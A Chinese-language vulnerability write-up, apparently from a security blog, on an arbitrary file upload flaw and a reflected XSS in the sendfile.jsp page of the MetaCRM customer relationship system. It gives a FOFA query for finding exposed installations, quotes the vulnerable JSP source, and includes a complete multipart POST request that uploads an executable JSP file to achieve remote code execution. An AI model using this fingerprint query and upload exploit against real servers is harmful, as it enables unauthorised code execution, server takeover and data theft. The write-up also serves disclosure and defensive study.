MetaCRM 客户关系管理系统 sendfile.jsp 任意文件上传漏洞


漏洞简介

MetaCRM 是一款广泛应用于企业客户信息管理、业务流程自动化及销售支持的客户关系管理系统。该系统中的 sendfile.jsp 接口存在任意文件上传漏洞,攻击者无需经过严格身份验证即可向服务器上传任意类型的文件,包括可执行的恶意脚本。一旦利用此漏洞,攻击者可能在服务器上部署后门、WebShell 等恶意程序,从而实现远程代码执行、服务器控制,甚至进一步窃取敏感数据或破坏业务系统的正常运行。该漏洞严重威胁系统的安全性与数据完整性,需及时修补和加固防护。

影响版本

fofa语法

body="/common/scripts/basic.js" && body="www.metacrm.com.cn"

漏洞分析

我们直接看 sendfile.jsp 的业务逻辑实现

<%@ page contentType="text/html;charset=UTF-8"%>
<%
//
    com.metasoft.framework.pub.util.UserState us = com.metasoft.framework.model.users.UserManager.getUserBySessionId(session.getId());
    com.metasoft.framework.pub.locale.ResourceService ress=null;
    if (us!=null) {
      ress=us.getRess();
    }
    if (ress==null)
      ress=new com.metasoft.framework.pub.locale.ResourceService();

                com.metasoft.framework.pub.upload.Upload myUpload=new com.metasoft.framework.pub.upload.Upload();
                myUpload.initialize(pageContext);
                myUpload.upload();

                String objectname = myUpload.getRequest().getParameter("objectname");
                String repeatrule=myUpload.getRequest().getParameter("repeatrule");
                String refrule=myUpload.getRequest().getParameter("refrule");
                String filetype = myUpload.getRequest().getParameter("filetype");
//              String filename = myUpload.getRequest().getParameter("filename");
                String flag = myUpload.getRequest().getParameter("flag");
                String fieldimp=myUpload.getRequest().getParameter("fieldimp");
                String affix = myUpload.getFiles().getFile(0).getFileName();
                int iCount = myUpload.getFiles().getFile(0).getSize();
                String path = com.metasoft.framework.pub.util.Path.getUserFile()+"temp"+java.io.File.separator;
                String fileFullName = "";
                if (iCount != 0) {
                    String fieldID = com.metasoft.framework.pub.util.UUID.getID();
                    if(affix.indexOf(".")!=-1)
                        fieldID +=affix.substring(affix.lastIndexOf("."));
                    fileFullName = path+fieldID;    
                    int iSaveCount = myUpload.saveAs(path, fieldID);
                    boolean bSaveCount=iSaveCount==0?true:false;
                    if(bSaveCount){
                        request.setAttribute("uploaderror",ress.getDispMessage("ui.common.importdata.uploadfail")+"!");
                        %>
        <jsp:forward page="/business/common/importdata/home.jsp"/>
    <%

    }
    }else{
            request.setAttribute("uploaderror",ress.getDispMessage("ui.common.importdata.uploadfail")+"!");
        %>
            <jsp:forward page="/business/common/importdata/home.jsp"/>
        <%
    }

    %>  
<html>  
    <body>      
        <form name = "formdata" method ="post" action="/importdata.nextone.do">
            <input type="hidden" name="objectname" value='<%=objectname%>'>
            <input type="hidden" name="repeatrule" value='<%=repeatrule%>'>
            <input type="hidden" name="refrule" value='<%=refrule%>'>
            <input type="hidden" name="fieldimp" value='<%=fieldimp%>'>
            <input type="hidden" name="filetype" value='<%=filetype%>'>
            <input type="hidden" name="filename" value='<%=affix%>'>
            <input type="hidden" name="fullfilename" value='<%=fileFullName%>'>
            <input type="hidden" name ="flag" value='<%=flag %>'>
        </form>
        <script language="JavaScript">
            document.forms['formdata'].submit();
        </script>
    </body>
</html>

仅检查了文件大小是否为0,但不限制可上传的文件类型和内容格式,从而导致任意文件上传漏洞。

同时该文件还存在反射性XSS漏洞,因HTML表单部分 <input type="hidden" name="objectname" value='<%=objectname%>'> 的数据来自用户提交,直接通过 myUpload.getRequest().getParameter() 获取,并使用 JSP 表达式 <%= %> 直接输出到HTML中。缺失了对输入的转义或 sanitization。其他 repeatrule、refrule、fieldimp、filetype、flag 等参数也是如此。

漏洞复现

POST /business/common/importdata/sendfile.jsp HTTP/1.1
Host: metasoft.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="1.jsp "

<%out.println(new java.util.Random().nextInt(100));new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundary--

响应里回显了上传文件路径,直接访问,成功执行上传代码达到RCE


手机扫码阅读

MetaCRM 客户关系管理系统 sendsms.jsp 任意文件上传漏洞

北京时空智友ERP系统 updater.uploadStudioFile 文件上传漏洞

评 论